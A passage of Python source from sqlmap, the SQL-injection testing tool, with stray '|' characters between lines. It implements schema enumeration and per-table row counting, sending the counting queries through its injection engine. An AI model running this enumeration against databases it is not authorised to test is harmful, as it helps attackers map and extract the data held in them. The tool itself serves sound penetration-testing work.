|
|
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
|
logger.warn(warnMsg)
|
|
|
|
if bruteForce is None:
|
|
return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)
|
|
|
|
return kb.data.cachedColumns
|
|
|
|
def getSchema(self):
|
|
infoMsg = "enumerating database management system schema"
|
|
logger.info(infoMsg)
|
|
|
|
try:
|
|
pushValue(conf.db)
|
|
pushValue(conf.tbl)
|
|
pushValue(conf.col)
|
|
|
|
kb.data.cachedTables = {}
|
|
kb.data.cachedColumns = {}
|
|
|
|
self.getTables()
|
|
|
|
infoMsg = "fetched tables: "
|
|
infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
|
|
Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
|
|
else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
|
|
kb.data.cachedTables.items()])
|
|
logger.info(infoMsg)
|
|
|
|
for db, tables in kb.data.cachedTables.items():
|
|
for tbl in tables:
|
|
conf.db = db
|
|
conf.tbl = tbl
|
|
|
|
self.getColumns()
|
|
finally:
|
|
conf.col = popValue()
|
|
conf.tbl = popValue()
|
|
conf.db = popValue()
|
|
|
|
return kb.data.cachedColumns
|
|
|
|
def _tableGetCount(self, db, table):
|
|
if not db or not table:
|
|
return None
|
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
|
db = db.upper()
|
|
table = table.upper()
|
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
|
|
query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True))
|
|
else:
|
|
query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True))
|
|
|
|
count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
|
|
|
if isNumPosStrValue(count):
|
|
if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts:
|
|
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {}
|
|
|
|
if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]:
|
|
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(safeSQLIdentificatorNaming(table, True))
|
|
else:
|
|
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [safeSQLIdentificatorNaming(table, True)]
|
|
|
|
def getCount(self):
|
|
if not conf.tbl:
|
|
warnMsg = "missing table parameter, sqlmap will retrieve "
|
|
warnMsg += "the number of entries for all database "
|
|
warnMsg += "management system databases' tables"
|
|
logger.warn(warnMsg)
|
|
|
|
elif "." in conf.tbl:
|
|
if not conf.db:
|
|
conf.db, conf.tbl = conf.tbl.split('.', 1)
|
|
|
|
if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
|
|
warnMsg = "missing database parameter. sqlmap is going to "
|
|
warnMsg += "use the current database to retrieve the "
|
|
warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl)
|
|
logger.warn(warnMsg)
|
|
|
|
conf.db = self.getCurrentDb()
|
|
|
|
self.forceDbmsEnum()
|
|
|
|
if conf.tbl:
|
|
for table in conf.tbl.split(","):
|
|
self._tableGetCount(conf.db, table)
|
|
else:
|
|
self.getTables()
|
|
|
|
for db, tables in kb.data.cachedTables.items():
|
|
for table in tables:
|
|
self._tableGetCount(db, table)
|
|
|
|
return kb.data.cachedCounts
|